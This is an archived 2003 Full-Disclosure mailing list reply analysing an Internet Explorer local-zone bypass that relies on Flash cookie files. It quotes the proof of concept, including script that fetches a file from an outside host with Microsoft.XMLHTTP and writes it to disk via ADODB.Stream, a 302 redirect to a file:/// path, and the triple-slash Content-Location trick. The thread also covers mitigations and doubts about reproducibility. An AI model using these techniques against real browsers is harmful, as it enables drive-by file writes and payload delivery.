Full Disclosure mailing list archives
Re: RE: Internet Explorer and Opera local zone restriction bypass
From: jelmer <jkuperus () planet nl>
Date: Sat, 25 Oct 2003 20:17:28 +0200
I allready commented to bugtraq about this issue, I attached this post to the bottom I also wrote up some comments, because you seem to be way off ----- Original Message ----- From: "Thor Larholm" <thor () pivx com> To: "Mindwarper *" <mindwarper () linuxmail org>; <bugtraq () securityfocus com> Sent: Saturday, October 25, 2003 6:54 AM Subject: [Full-disclosure] RE: Internet Explorer and Opera local zone restriction bypass
There was not a lot of details in your post, so I will try to verify and
clarify your findings. First things first, this is not a problem with Microsofts Internet Explorer, but with Macromedia and their Flash player.
I could reproduce this issue successfully with a fresh install of the
latest Flash player, version 6.0.65.0, on fully patched versions of both IE6SP1 and Windows XP Pro.
There are two completely new issues at hand here. The first issue is that Macromedia Flash allows you to store arbitrary
content in a known location, that is %APPDATA%\Macromedia\Flash Player\YOURDOMAINNAME.TLD\YOURDOMAINNAME.sol. All flash cookies (which is what you set in your example, not browser cookies) from YOURDOMAINNAME.TLD are stored in this file. Its hardly a known location as you need to know the username in order to "exploit" it, making widescale exploitation highly unlikely
The issue is caused by Macromedias decision to store the contents of your
Flash cookie in plaintext in this .SOL file. When IE later reads the file the "magic filetype" feature of Explorer reads the first 256 bytes, finds HTML content and determines to render the file as HTML since the target application is the browser, including your scripting. anyway flash cookies are not plaintext, they are binary files, he just happens to store enough text content in it, to trick IE in rendering it
Being able to store arbitrary content in a known location is vital to any
of the current range of IE exploits.
Flash itself is a binary format, so this complete issue can easily be
fixed by Macromedia by applying the same level of binary formatting to its Flash cookie contents, to provide slight obfuscation of the contents of Flash cookies when storing them on disk so Explorer does not misread its datatype. The proper (tm) solution would be to use a random directory name to store cookies in, like with the temporary internet files folder
End-users can protect themselves against this exploit by changing how much
data Flash applications are allowed to store on disk by going to http://www.macromedia.com/support/flashplayer/help/settings/global_storage.html and moving the slider all the way down, equivelant to checking the "Never Ask Again" checkbox on the page. When an updated version of the Flash player that fixes this is available, it is equally easy to change the setting back.
System administrators can edit the file %APPDATA%\Macromedia\Flash
Player\maromedia.com\support\sys\settings.sol and change the bytes at positions c7 and c8 to contain BF and F0, respectively (ASCII ¿ and ð), to restrict data storage for Flash applications as an end-user would above. If you want to restore the file to default settings (for storing 100KB data) change the bytes back to 40 and 59, respectively (ASCII @ and Y).
This is also why several people have said they could not reproduce the
issue. They were either not logged in with the Administrator account, which your POC required, or they did not have the Macromedia Flash player installed.
A similar issue was found way back with ID3 tags in Winamp and RealPlayer
media files, and has been found on several occasions where a third-party non-Microsoft application allows you to store arbitrary content in a known location.
The second issue is that IE lets you redirect to local files. This was
restricted in IE6 SP1. While going over the source code in your POC, we discovered that it inadvertently redirects to a local file, despite the apparent restriction.
When IE encounters a redirect such as the following Content-Location: file://c:/somefile.html it will disallow the action and not follow the redirect. However, your POC
has one important alteration, which is the following
Content-Location: file:///c:/somefile.html
It does ?, how did you reach that conclusion it doesn't even touch the Content-Location header Second it doesn't work here nor at the 3 people I asked to test for me, It only works when you press refresh. so userinteraction is required, are you getting different results on a fully patched IE6 ?
Did you notice that slight difference? Adding another slash to the URL
circumvents the initial restriction, and when IE finally decides to load the URL in another part of its code it removes any excess slashes and properly loads file://c:/somefile.html
The restriction imposed by IE6 SP1 is imposed on all local protocols, such
as file:// and res://, and this new way to circumvent it equally applies to all local protocols. This means that you don't have to know the location of a specific file, but instead can open a ressource file available on all systems, such as
Content-Location: res:///browselc.dll/mb404.htm Of course, since you could not inject any code in the ressource file you
will now have to use another cross-domain scripting vulnerability in place of the Macromedia Flash vulnerability you identified in the first issue. On the positive side, it also means that you no longer have to guess the users Windows Logon name.
In summary, when Macromedia changes their Flash player to no longer store
Flash cookies in plaintext in a known location, this will no longer be an issue. All of the currently unpatched cross-domain scripting vulnerabilities are having patches produced, and since they have no easy POC exploits I doubt we will see any malicious use of the local file redirection variation you found.
Regards Thor Larholm PivX Solutions, LLC - Senior Security Researcher http://pivx.com/larholm/ - Get our research, join our mailinglist
here's what I send to bugtraq ---------------------------------------------------------------------------- ---------- what this does is have a swf file generate a "flash cookie" or .sol file which gets stored to a pseudo known location (you need to know the logged in username) C:\Documents and Settings\Jelmer\Application Data\Macromedia\Flash Player\mlsecurity.com\mlsecurity.sol in this cookie we find <html><script>var x = new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET", "http://mlsecurity.com/random/ie.txt",0); x.Send();var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; s.Open(); s.Write(x.responseBody); s.SaveToFile("C:\\mlsecurity.txt",2);</script></html> which is the unpatched ADODB.Stream issue so what he's trying to do is get this to run from this sol file by getting internet explorer to render it as an html file in an iframe he tries to acomplish this by setting the response code to 302 (MOVED TEMPORARILY) and making the location header in the reply point to a the locally stored cookie like this : HTTP/1.1 302 Found Date: Fri, 24 Oct 2003 23:32:13 GMT Server: Apache/2.0.46 (Unix) Accept-Ranges: bytes Location: file:///C:/Documents and Settings/jelmer/Application Data/Macromedia/Flash Player/mlsecurity.com/mlsecurity.sol Content-Length: 0 Content-Type: text/html; charset=ISO-8859-1 the following jsp duplicates the behaviour --snip-- <% response.setStatus(HttpServletResponse.SC_MOVED_TEMPORARILY); response.setHeader("Location","file:///C:/Documents and Settings/jelmer/Application Data/Macromedia/Flash Player/mlsecurity.com/mlsecurity.sol"); %> --snip-- then he uses a dynamic iframe to load this page rather than a static one, eg he uses document.write('<iframe src="test.jsp"></iframe>'); rather than <iframe src="test.jsp"></iframe> using the static version has no effect now thats how it works, now about *if* it works. , well when I initially tried it, it did absolutely nothing for me (fully patched IE6) yes it showed the location in the IFRAME as being local in de frame properties, but it didn't render the contents. then I cleared the cache closed IE and all of the sudden it was kind of working, in that it renders the local file on pressing the refresh button. When testing from the local filesystem, calling window.frames[0].location.reload() also did the trick, thus "automating" the attack, You cant use this from the internet though because of cross domain policies, although you could most likely bypass this by using one of liu die yu's unpatched vulnerabilities All in all its still a bit rough and probably needs some work at least from where I am sitting for those curious as to what is in the swf , here's the actionscript code function saveobject(cookiename) { var Daten_array = new Array("Sven", "kelor", "Tschdaeff", "Madokan", "Ming", "Coolflash"); var Datum = new Date(); var Satz_str = _root.teststr_txt.text; _root.createEmptyMovieClip("Test_mc", 0); meinCook_so = SharedObject.getLocal(cookiename, "/"); meinCook_so.data.my_String = Satz_str; meinCook_so.data.my_Array = Daten_array; meinCook_so.data.my_Date = Datum; meinCook_so.data.my_MovieClip = Test_mc; RESULTS = meinCook_so.flush(); if (RESULTS == true) { _root.message_txt.text = "Eingabe Erfolgreich!"; } } function readobject(cookiename) { leseCook_so = SharedObject.getLocal(cookiename, "/"); delete("meinCook_so"); _root.read_txt.htmlText = "<font color=\"#0000FF\">my_String :</font> " + leseCook_so.data.my_String + "\n"; _root.read_txt.htmlText = _root.read_txt.htmlText + ("<font color=\"#0000FF\">my_Array :</font> " + leseCook_so.data.my_Array + "\n"); _root.read_txt.htmlText = _root.read_txt.htmlText + ("<font color=\"#0000FF\">my_Date :</font> " + leseCook_so.data.my_Date + "\n"); _root.read_txt.htmlText = _root.read_txt.htmlText + ("<font color=\"#0000FF\">my_MovieClip :</font> " + leseCook_so.data.my_MovieClip + "\n"); } function deleteShareds(cookiename) { trace(cookiename); delCook_so = SharedObject.getLocal(cookiename, "/"); delete("leseCook_so"); var del_array = new Array("my_String", "my_Array", "my_Date", "my_MovieClip"); var i = 0; delete(del_array[i]); i++; delete("delCook_so"); _root.del_txt.htmlText = "<font color=\"#0000FF\">Objekt :" + delCook_so; _root.del_txt.htmlText = _root.del_txt.htmlText + ("<font color=\"#0000FF\">my_String gelצscht :</font> " + delCook_so.data.my_String + "\n"); _root.del_txt.htmlText = _root.del_txt.htmlText + ("<font color=\"#0000FF\">my_Array gelצscht :</font> " + delCook_so.data.my_Array + "\n"); _root.del_txt.htmlText = _root.del_txt.htmlText + ("<font color=\"#0000FF\">my_Date gelצscht :</font> " + delCook_so.data.my_Date + "\n"); _root.del_txt.htmlText = _root.del_txt.htmlText + ("<font color=\"#0000FF\">my_MovieClip gelצscht :</font> " + delCook_so.data.my_MovieClip + "\n"); } system.useCodepage = true; savedname = this.cookie_txt.text; _root.saveobject(this.cookie_txt.text); stop(); _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- RE: Internet Explorer and Opera local zone restriction bypass Thor Larholm (Oct 25)
- Re: RE: Internet Explorer and Opera local zone restriction bypass jelmer (Oct 25)
- <Possible follow-ups>
- Re: Internet Explorer and Opera local zone restriction bypass Paul Szabo (Oct 25)
- Re: Internet Explorer and Opera local zone restriction bypass Bipin Gautam (Oct 29)
- Re: Internet Explorer and Opera local zone restriction bypass Bipin Gautam (Oct 29)
- Re: Re: Internet Explorer and Opera local zone restriction bypass fulldisc (Oct 29)
- Re: Re: Internet Explorer and Opera local zone restriction bypass jelmer (Oct 29)
- Re: Internet Explorer and Opera local zone restriction bypass Paul Szabo (Oct 30)
- RE: Internet Explorer and Opera local zone restriction bypass Paul Szabo (Oct 30)
- RE: Internet Explorer and Opera local zone restriction bypass Thor Larholm (Oct 30)
- Re: Internet Explorer and Opera local zone restriction bypass Valdis . Kletnieks (Oct 30)
- RE: Internet Explorer and Opera local zone restriction bypass Thor Larholm (Oct 30)
(Thread continues...)